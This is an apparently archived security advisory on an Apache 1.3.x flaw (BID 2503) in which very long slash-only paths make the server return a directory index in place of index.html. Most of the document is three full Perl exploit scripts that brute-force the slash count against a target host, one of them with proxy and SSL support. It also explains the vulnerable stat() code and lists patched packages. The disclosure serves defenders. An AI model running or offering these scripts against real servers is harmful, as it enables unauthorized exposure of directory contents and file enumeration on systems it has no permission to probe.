COMMAND

    Apache

SYSTEMS AFFECTED

    Apache 1.3.17 and below

PROBLEM

    Matt Watchinski found following.  This exploit tricks apache  into
    returning a Index  of the a  directory even if  an index.html file
    is present.  May not work on some OS's

    http_request.c  has  a  subroutine  called  ap_sub_req_lookup_file
    that in very specific cases would feed stat() a filename that  was
    longer than stat() could handle.  This would result in a condition
    where  stat()  would  return  0  and  a  directory  index would be
    returned instead of the default index.html.

    Code Fragment: /src/main/http_request.c

        if (strchr(new_file, '/') == NULL) {
            char *udir = ap_make_dirstr_parent(rnew->pool, r->uri);

            rnew->uri = ap_make_full_path(rnew->pool, udir, new_file);
            rnew->filename = ap_make_full_path(rnew->pool, fdir, new_file);
            ap_parse_uri(rnew, rnew->uri);    /* fill in parsed_uri values */
            if (stat(rnew->filename, &rnew->finfo) < 0) {   <-- Important part
                rnew->finfo.st_mode = 0;
            }

    Mod_dir / Mod_autoindex / Mod_negotiation need to be enabled.  The
    directory must also have  the following Options enabled:   Indexes
    and MultiView.  Some OS's have different conditions on the  number
    of character you have to pass to stat to make this work.  If  stat
    doesn't return  0 for  path names  less than  8192 or  so internal
    apache buffer checks will stop this exploit from working.

    Debian needed around 4060 /'s to make this work.  The exploit:

    #!/usr/bin/perl
    #
    # farm9, Inc. (copyright 2001)
    #
    # Name: Apache Artificially Long Slash Path Directory Listing Exploit
    # Author: Matt Watchinski
    # Ref: SecurityFocus BID 2503
    #
    # Affects: Apache 1.3.17 and below
    # Tested on: Apache 1.3.12 running on Debian 2.2
    #
    #
    # Greets: Special thanks to natasha who added a lot of debug to apache for me
    #	  while i was trying to figure out what had to be enabled to make this
    #	  exploit work.  Also thanks to rfp for pointing out that MultiView
    #	  needed to be enabled.
    #
    # More Greets:  Jeff for not shooting me :) <All your Cisco's belong to us>
    #               Anne for being so sexy <I never though corporate espionage
    #                   would be so fun>
    #               All my homies at farm9
    #               DJ Charles / DJ NoloN for the phat beats
    #               Marty (go go gadget snort)
    #               All my ex-bees
    #               RnVjazpIaXZlcndvcmxk
    #
    # I think that wraps it up.  Have fun.
    #
    # Usage: ./apacheIndex.pl <host> <port> <HI> <Low>
    # Where: Hi and low are the range for the number of / to try
    #

    use IO::Socket;

    $low  = $ARGV[3]; #Low number of slash characters to try
    $hi   = $ARGV[2]; #High number of slash characters to try
    $port = $ARGV[1]; #Port to try to connect to
    $host = $ARGV[0]; #Host to try to connect to

    # Main loop.  Not much to this exploit once you figure out what needed to
    # be enabled.  Need to do some more testing on sub-dirs to see if it
    # works with them.  It should. Also different OS's might use a differnt number
    # of /.  Send me the numbers if you don't mind matt@farm9.com

    while($low <= $hi)
    {

    $socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port,
    Proto => "TCP") or die "Connect Failed";

      $url = "";
      $buffer = "";
      $end = "";

      $url = "GET ";
      $buffer = "/" x $low . " HTTP/1.0\r\n";
      $end = "\r\n\r\n";

      $url = $url . $buffer . $end;

      print $socket "$url";
      while(<$socket>)
      {
        if($_ =~ "Index of")
        {
          print "Found the magic number: $low\n";
          print "Now go do it by hand to to see it all\n";
          close($socket);
          exit;
        }
      }

      close($socket);
      $low++
    }

    In some testings you need to take the Host header into account.

        :   $url = "GET ";
        :   $buffer = "/" x $low . " HTTP/1.0\r\n";
        :   $end = "\r\n\r\n";

    The server tested against uses mod_rewrite to do virtual  hosting,
    and it arrived at a  different magic number with the  host header,
    and against without the header.   In that case make the  following
    change to the above code:

        $buffer = "/" x $low . " HTTP/1.0\r\nHost: ". $host ."\r\n";

    Should be fairly easy to understand.

    Siberian rewrote a  lot of it's  code.  Now  it will also  work if
    executed from a Windows box.

    #!/usr/bin/perl
    #
    # orginal by farm9, Inc. (copyright 2001)
    # new modified code by Siberian (www.sentry-labs.com)
    #
    ########################################################################################
    #
    # Note: This isn't the orginal exploit! This one was modified and partly rewritten.
    #
    # Changes:
    #
    # - help added (more user firendly :-) )
    # - messages added
    # - exploit is now able to be executed on WinNT or 2k.
    # - uses perl version of BSD sockets (compatible to Windows)
    #
    # Rewriter's Note: I rewrote (I was bored to death that evening :-) ) some
    # of the code and made it esaier to use and cross platform compatible.
    # The old verion used a esaier but not that compaible way of socket stream communication.
    # Any network code was replaced by cross platform compatible BSD sockets.
    # (much better than any other stream method :-) )
    #
    # Tested with Perl 5.6 (Linux) and ActivePerl 5.6 (Win32)
    #
    
    
    use Socket;
    
    print "Apache Artificially Long Slash Path Directory Listing Exploit\nSecurityFocus BID 2503\n\n";
    print "original exploit code written by Matt Watchinski (www.farm9.com)\n";
    print "rewritten and fixed by Siberian (www.sentry-labs.com)\n\n";
    $host = shift || 'localhost'; #Host to try to connect to
    $port = shift || '80'; #Port to try to connect to
    $hi   = shift || '100'; #High number of slash characters to try
    $low  = shift || '0'; #Low number of slash characters to try
    if(($host eq 'localhost') && ($port eq '80') && ($hi eq '100') && ($low eq '0')) {
    print 'Usage: ./apache2.pl <host> <port> <HI> <Low>';
    print "\nHi and low are the range for the number of \/ to try\n";
    exit 0;
    }
    
    print "\ntarget: $host";
    print "\nport: $port";
    print "\nhi: $hi";
    print "\nlow: $low\n\nStarting attack...\n\n";
    
    # Main loop.  Not much to this exploit once you figure out what needed to
    # be enabled.  Need to do some more testing on sub-dirs to see if it
    # works with them.  It should. Also different OS's might use a different number
    # of /.  Send me the numbers if you don't mind matt@farm9.com
    
    $url = "";
    $buffer = "";
    $end = "";
    
    #$port = (getservbyname($port, 'tcp') || die "No port!");
    
    $iaddr = inet_aton($host);
    $paddr = sockaddr_in($port, $iaddr) or die "Faild ...  SOCKADDR_IN!";
    
    $proto = getprotobyname('tcp');
    
    while($low <= $hi) {
    
    socket(SOCKY, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
    connect(SOCKY, $paddr ) or die "connect: $!";;
    
    $url = "GET ";
    $buffer = "/" x  $low .  " HTTP/1.0\r\n";
    $end = "\r\n\r\n";
    
    $url = $url . $buffer . $end;
    
    print ".";
    
     send(SOCKY,$url,0) or die "send: $!";;
    
     while((recv(SOCKY,$out,1,0)) && ($out ne "")) {
        if($out eq "I") {
         recv(SOCKY,$out,1,0);
         if($out eq "n") {
          recv(SOCKY,$out,1,0);
          if($out eq "d") {
           recv(SOCKY,$out,1,0);
           if($out eq "e") {
            recv(SOCKY,$out,1,0);
            if($out eq "x") {
             recv(SOCKY,$out,1,0);
              if($out eq " ") {
               recv(SOCKY,$out,1,0);
               if($out eq "o") {
                recv(SOCKY,$out,1,0);
                 if($out eq "f") {
               print "Found the magic number: $low\n";
               print "Now go do it by hand to to see it all\n";
               close(SOCKY);
               exit 0;
               }
              }
             }
            }
           }
          }
         }
        }
       }
    
      close(SOCKY);
      $low++;
    }
    print "\n\nNot vulnerable :-(\nCheck some other numbers.\n";

    'rain  forest  puppy'  added  following.   Attached is apache3.pl,
    which  is  a  recoded  version   of  Siberian's  recode  of   Matt
    Watchinski's exploit.  His  version uses libwhisker, which  allows
    the  exploit   to  have    HTTP/1.1,   proxy,  and   SSL   support
    automatically.  Basic support (not including SSL) should work  for
    any platform  having Perl.   To use  the attached  exploit, you'll
    need a copy of libwhisker.  The latest is pr3, downloadable at:

        http://www.wiretrip.net/rfp/p/doc.asp?id=21&iface=7

    You can either  grab the developer  tarball and build/install  it,
    or just grab  the libwhisker.pm, put  it in the  same directory as
    the  apache3.pl,  and  just  run  apache3.pl--perl  will  use  the
    libwhisker.pm  module  in  the  same  directory.  For SSL support,
    you'll need either  Crypt::SSLeay or Net::SSLeay  installed (which
    may require OpenSSL).   ActiveState ported  Crypt::SSLeay/Net::SSL
    (not Net::SSLeay) over  to Windows, so  Windows users should  have
    SSL support as well.

    #!/usr/bin/perl
    #
    # orginal by farm9, Inc. (copyright 2001)
    # then modified by Siberian (www.sentry-labs.com)
    # with more modifications by rfp (www.wiretrip.net/rfp/)
    #
    ##########################################################################
    
    use libwhisker;
    use Getopt::Std;
    
    # apache3.pl
    # this exploit was modified to use the libwhisker library, which gives
    # HTTP/1.1, proxy, and SSL support.  Plus, small other changes.
    
    $|++;
    my (%hin,%hout,%args);
    
    print "Apache Artificially Long Slash Path Directory Listing Exploit\n";
    print "SecurityFocus BID 2503\n\n";
    print "Original exploit code written by Matt Watchinski (www.farm9.com)\n";
    print "Rewritten and fixed by Siberian (www.sentry-labs.com)\n";
    print "Moved to libwhisker by rfp\n\n";
    
    getopts("p:L:H:sP:R:h:",\%args);
    
    if($args{h} eq ''){
     print 'Usage: ./apache3.pl <options>, where options:',"\n";
     print '-h host  host to scan (must be specified)',"\n";
     print '-p ##	 host port (default: 80)',"\n";
     print '-L ##	 low end/start of range (default: 1)',"\n";
     print '-H ##	 high end/end of range (default: 8192)',"\n";
     print '-P host	 HTTP proxy via host',"\n";
     print '-R ##	 HTTP proxy port (default: 80)',"\n";
     print '-s	 use SSL (can\'t be used with proxy)',"\n";
     exit 0;
    }
    
    $low =  $args{L} || 1;
    $high = $args{H} || 8192;
    
    &lw::http_init_request(\%hin);		# setup our request hash
    
    $hin{'whisker'}->{'host'}= $args{h};
    
    $hin{'whisker'}->{'port'}= $args{p} || 80;
    
    if(defined $args{s}){
 	    $hin{'whisker'}->{'ssl'} = 1;
    
	    if(defined $args{P}){
		    print "SSL not currently compatible with proxy\n";
		    exit 1;
	    }
    }
    
    if(defined $args{'P'}){
	    $hin{'whisker'}->{'proxy_host'}=$args{P};
	    $hin{'whisker'}->{'proxy_port'}=$args{R} || 80;
	    print "Using proxy host $hin{'whisker'}->{'proxy_host'} on ";
	    print "port $hin{'whisker'}->{'proxy_port'}\n";
    }
    
    
    &lw::http_fixup_request(\%hin);		# fix any HTTP requirements
    
    for($c=$low; $c<=$high; $c++){
    
	    $hin{'whisker'}->{'uri'} = '/' x $c;
    
	    if(&lw::http_do_request(\%hin,\%hout)){
		    print "Error: $hout{'whisker'}->{'error'}\n";
		    exit 1;
	    } else {
		    if($hout{'whisker'}->{'http_resp'} == 200 &&
			    $hout{'whisker'}->{'data'}=~/index of/i){
    
			    print "Found result using $c slashes.\n";
			    exit 0;
		    }
	    }
    
	    print "."; # for status
    }
    
    print "\nNot vulnerable (perhaps try a different range).\n";

SOLUTION

    1.3.19 has fixed this.  For Trustix Linux:

        http://www.trustix.net/pub/Trustix/updates/
        ftp://ftp.trustix.net/pub/Trustix/updates/
            ./1.2/SRPMS/apache-ssl-1.3.19_1.44-1tr.src.rpm
            ./1.2/SRPMS/apache-1.3.19-1tr.src.rpm
            ./1.2/RPMS/apache-ssl-1.3.19_1.44-1tr.i586.rpm
            ./1.2/RPMS/apache-devel-1.3.19-1tr.i586.rpm
            ./1.2/RPMS/apache-1.3.19-1tr.i586.rpm
            ./1.1/SRPMS/apache-ssl-1.3.19_1.44-1tr.src.rpm
            ./1.1/SRPMS/apache-1.3.19-1tr.src.rpm
            ./1.1/RPMS/apache-ssl-1.3.19_1.44-1tr.i586.rpm
            ./1.1/RPMS/apache-devel-1.3.19-1tr.i586.rpm
            ./1.1/RPMS/apache-1.3.19-1tr.i586.rpm

    For EnGarde Secure Linux:

        ftp://ftp.engardelinux.org/pub/engarde/stable/updates/
        http://ftp.engardelinux.org/pub/engarde/stable/updates/
        http://ftp.ibiblio.org/pub/linux/distributions/engarde/stable/updates/
           SRPMS/apache-1.3.20-1.0.25.src.rpm
           i386/apache-1.3.20-1.0.25.i386.rpm
           i686/apache-1.3.20-1.0.25.i686.rpm